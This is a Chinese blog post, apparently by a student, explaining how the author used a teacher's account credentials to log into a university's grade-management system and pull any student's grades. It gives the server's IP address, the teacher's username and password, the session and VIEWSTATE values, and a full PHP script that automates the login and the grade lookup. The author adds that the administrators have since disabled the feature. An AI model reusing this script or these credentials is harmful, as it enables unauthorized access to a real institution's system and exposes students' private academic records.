再次更新:再次失效,服务器更新时,管理员顺手把老师查询学生成绩的功能关闭了。对我来说是无解了。
失效的真正原因是,地址中间那个随机部分会在一定时间后失效。当通过那个随机地址登陆,再次通过那个地址的时候,就无需验证,直接查询即可。
拿到老师的账号密码之后,就开始着手如何在网页实现登陆并查询获取。首先用浏览器模拟一遍:
访问教务处网站: http://218.197.176.41/
自动转到 http://218.197.176.41/%28nbd10b2xqjfcak55b0xajo45%29/default2.aspx
经过分析中间的应该是随机码,但也不能随意编造,有一定几率报错,但是80%是可以进入的。
查看网页的隐藏参数_VIEWSTATE=dDwtMjEzNzcwMzMxNTs7PtrZFqBAI30z6xuUq3wsAhvo1y38
,但是,貌似昨天和今天都是一样的,估计是固定的。
直接在浏览器伪装POST:http://218.197.176.41/%28nbd10b2xqjfcak55b0xajo45%29/default2.aspx?__VIEWSTATE=dDwtMjEzNzcwMzMxNTs7PtrZFqBAI30z6xuUq3wsAhvo1y38&TextBox1=账号&TextBox2=密码&RadioButtonList1=%BD%CC%CA%A6&Button1=+%B5%C7+%C2%BC+
即可进入主页。
网址跳转到http://218.197.176.41/%28nbd10b2xqjfcak55b0xajo45%29/js_main.aspx?xh=0707004
基本也是固定的。
直接进入查分界面 http://218.197.176.41/%28nbd10b2xqjfcak55b0xajo45%29/js_cxxs.aspx?xh=0707004
基本也是固定的-_-||
再次查看隐藏的_VIEWSTATE=dDwxNDU3NTEzODI5O3Q8O2w8aTwxPjs+O2w8dDw7bDxpPDc+Oz47bDx0PEAwPDs7Ozs7Ozs7Ozs+Ozs+Oz4+Oz4+Oz4x2GR9a1UB08DV2bRf4x4I3Qbz/w==
最后和昨天一样POST__VIEWSTATE=dDwxNDU3NTEzODI5O3Q8O2w8aTwxPjs%2BO2w8dDw7bDxpPDc%2BOz47bDx0PEAwPDs7Ozs7Ozs7Ozs%2BOzs%2BOz4%2BOz4%2BOz4x2GR9a1UB08DV2bRf4x4I3Qbz%2Fw%3D%3D&txt_xh=学号&btn_cx=%B2%E9%D1%AF%D1%A7%C9%FA%D4%DA%D0%A3%B3%C9%BC%A8
就可以获取成绩了
只要在php模拟这一系列操作就可以了,代码如下
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GBK">
<title>湖北中医药大学成绩查询</title>
</head>
<body>
<form action="cxcjnew.php" method="POST">
请输入学号:
<input type="text" name="num"/>
<input type="submit" value="查询"/>
</form>
<?php
/*
by:xgfan
*/
if($_POST)
{
$num=$_POST["num"];
if(!preg_match("/^\d*$/",$num))
{
echo "请输入数字!";
exit;
}
if(strlen($num)!=11)
{
echo "请输入11位学号!";
exit;
}
do{
$test="00000000000000000000";
$a=rand(97,122);
$b=rand(97,122);
$rd=rand(00,15);//为避免出现无法查询,实行随机查询
$index="http://218.197.176.41/(".$test.$rd.chr($a).chr($b).")/";
$loginurl=$index."default2.aspx";
$info=file_get_contents($loginurl);//获取登陆界面html
$term='#<title>(.*?)</title>#';
preg_match($term,$info,$flag);
if($flag[1]=="现代教学管理信息系统")//能读取标题
break;//即说明网页能登陆,否则重试到能读取为止
}while(TRUE);
//preg_match('#name="__VIEWSTATE" value=(.*?)/>#',$info,$m);
//获取VIEWSTATE的值,但是尼玛带两个“”
//$miwen=substr($m[1],1,(strlen($m[1])-3));
//处理后的登陆界面VIEWSTATE
$miwen="dDwtMjEzNzcwMzMxNTs7PtrZFqBAI30z6xuUq3wsAhvo1y38";
$post_string="__VIEWSTATE=".$miwen.
"&TextBox1=0707004&TextBox2=0707004&RadioButtonList1=%BD%CC%CA%A6&Button1=+%B5%C7+%C2%BC+";
$mainurl=$loginurl."?".$post_string;//登陆POST的过程
$info=file_get_contents($mainurl);//获取登陆主页面
$cxurl=$index."js_cxxs.aspx?xh=0707004";
$info=file_get_contents($cxurl);//获取查分页面
//preg_match('#name="__VIEWSTATE" value=(.*?)/>#',$info,$m);
//$miwen=substr($m[1],1,(strlen($m[1])-3));
$miwen="dDwxNDU3NTEzODI5O3Q8O2w8aTwxPjs%2BO2w8dDw7bDxpPDc%2BOz47bDx0PEAwPDs7Ozs7Ozs7Ozs%2BOzs%2BOz4%2BOz4%2BOz4x2GR9a1UB08DV2bRf4x4I3Qbz%2Fw%3D%3D";
$urlfirst = $index."js_cxxs.aspx?xh=0707004&&__VIEWSTATE=".$miwen."&txt_xh=";//URL前段地址
$urllast = "&btn_cx=%B2%E9%D1%AF%D1%A7%C9%FA%D4%DA%D0%A3%B3%C9%BC%A8";//URL后段地址
$url=$urlfirst.$num.$urllast;//组合网址
$info=file_get_contents($url);//获取页面信息
$p='#<TD align="left" colSpan="4">(.+?)</TD>#s';
preg_match($p,$info,$m);
preg_match($term,$info,$n);
echo $n[1];
}
?>
</body>
</html>
现在这个代码,应该挺占用资源的,如果那位老师不修改密码,应该是不会失效的。近几天来做正规的用学生帐号密码来查询成绩和课表!
成绩查询(新)